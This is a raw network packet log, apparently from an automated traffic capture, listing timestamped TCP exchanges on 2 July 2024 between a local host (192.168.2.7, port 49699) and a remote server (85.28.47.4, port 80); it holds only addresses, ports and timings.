Jul 2, 2024 12:21:06.041138887 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.041171074 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.041174889 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.041205883 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.041294098 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.041311979 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.041322947 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.041326046 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.041332960 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.041342974 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.041347980 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.041366100 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.041387081 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.041559935 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.041569948 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.041579962 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.041608095 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.041640997 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.041651964 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.041661978 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.041672945 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.041676044 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.041695118 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.041718960 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.041759968 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.041848898 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.041860104 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.041870117 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.041881084 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.041886091 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.041891098 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.041901112 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.041918039 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.041937113 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.042637110 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.042655945 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.042697906 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.042901993 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.042942047 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.042978048 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.042995930 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.043014050 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.043030977 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.043066025 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.043076038 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.043086052 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.043096066 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.043111086 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.043133974 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.043276072 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.043286085 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.043303013 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.043308973 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.043313026 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.043323040 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.043334007 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.043334961 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.043344975 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.043354988 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.043363094 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.043365002 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.043378115 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.043389082 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.043406010 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.044049025 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.044060946 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.044076920 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.044086933 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.044089079 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.044096947 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.044107914 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.044111013 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.044117928 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.044127941 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.044138908 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.044146061 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.044152975 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.044157982 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.044163942 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.044181108 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.044194937 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.046503067 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.046535969 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.046546936 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.046576977 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.046603918 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.046621084 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.046634912 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.046644926 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.046653032 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.046659946 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.046672106 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.046691895 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.046717882 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.046798944 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.046809912 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.046819925 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.046829939 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.046833038 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.046840906 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.046852112 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.046854019 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.046873093 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.046890020 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.128029108 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128042936 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128057003 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128074884 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128086090 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128097057 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128107071 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128120899 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.128159046 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.128215075 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128226042 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128237963 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128248930 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128262997 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.128283978 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.128340006 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128350019 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128380060 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.128393888 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128406048 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128422022 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.128443003 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.128561974 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128571987 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128582001 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128593922 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128603935 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128612995 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.128614902 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128624916 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128628969 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.128635883 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128663063 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.128688097 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.128761053 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128770113 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128803968 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.128844976 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128855944 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128866911 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128876925 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128886938 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128890038 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.128897905 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.128916025 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.128947020 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.128947020 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.129111052 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.129122019 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.129132986 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.129143000 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.129149914 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.129153013 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.129163027 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.129173994 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.129180908 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.129184008 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.129194975 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.129199028 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.129220009 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.129234076 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.129303932 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.129314899 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.129353046 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.129579067 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.129590034 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.129600048 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.129611015 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.129620075 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.129621983 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.129631042 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.129640102 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.129641056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.129652977 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.129658937 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.129662991 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.129673958 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.129676104 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.129704952 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.129980087 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.129997969 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.130022049 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.130024910 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.130038023 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.130063057 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.130089045 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.130162954 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.130172014 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.130209923 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.130215883 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.130227089 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.130242109 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.130254030 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.130284071 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.130306005 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.130316973 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.130348921 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.130496025 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.130506992 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.130520105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.130533934 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.130562067 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.130588055 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.130599022 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.130609035 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.130620956 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.130621910 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.130633116 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.130651951 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.130677938 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.130778074 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.130816936 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.130817890 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.130829096 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.130850077 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.130867958 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.130906105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.130917072 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.130939007 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.130956888 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.131001949 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.131103039 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.132086039 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.132116079 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.132128000 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.132133961 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.132147074 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.132165909 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.132281065 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.132292032 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.132302046 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.132312059 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.132323027 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.132349968 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.132441044 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.132451057 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.132487059 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.132543087 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.132555008 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.132563114 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.132572889 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.132576942 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.132584095 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.132594109 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.132596970 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.132603884 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.132613897 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.132625103 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.132652044 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.132671118 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.132682085 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.132702112 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.132729053 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.132730007 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.132740021 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.132750034 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.132761002 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.132776976 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.132802010 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.132962942 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.132972956 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.132983923 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.132993937 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.133003950 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.133006096 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.133013010 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.133032084 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.133048058 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.135740995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.135761976 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.135772943 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.135782003 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.135804892 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.135847092 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.135857105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.135867119 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.135876894 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.135889053 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.135904074 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.135999918 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.136010885 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.136019945 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.136029959 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.136039019 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.136040926 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.136050940 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.136055946 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.136060953 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.136090994 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.216936111 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.216959953 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.216970921 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.217004061 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.217046022 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.217082024 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.217093945 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.217103958 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.217113972 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.217114925 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.217125893 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.217134953 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.217164993 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.217231989 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.217242956 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.217252970 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.217262983 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.217272997 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.217276096 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.217293978 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.217308998 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.217443943 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.217546940 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.217556953 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.217566013 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.217576981 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.217586994 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.217588902 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.217596054 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.217607021 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.217617035 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.217618942 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.217628002 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.217634916 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.217652082 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.217674017 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:06.217818975 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.217829943 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.217843056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:06.217849016 CEST	49699	80	192.168.2.7	85.28.47.4
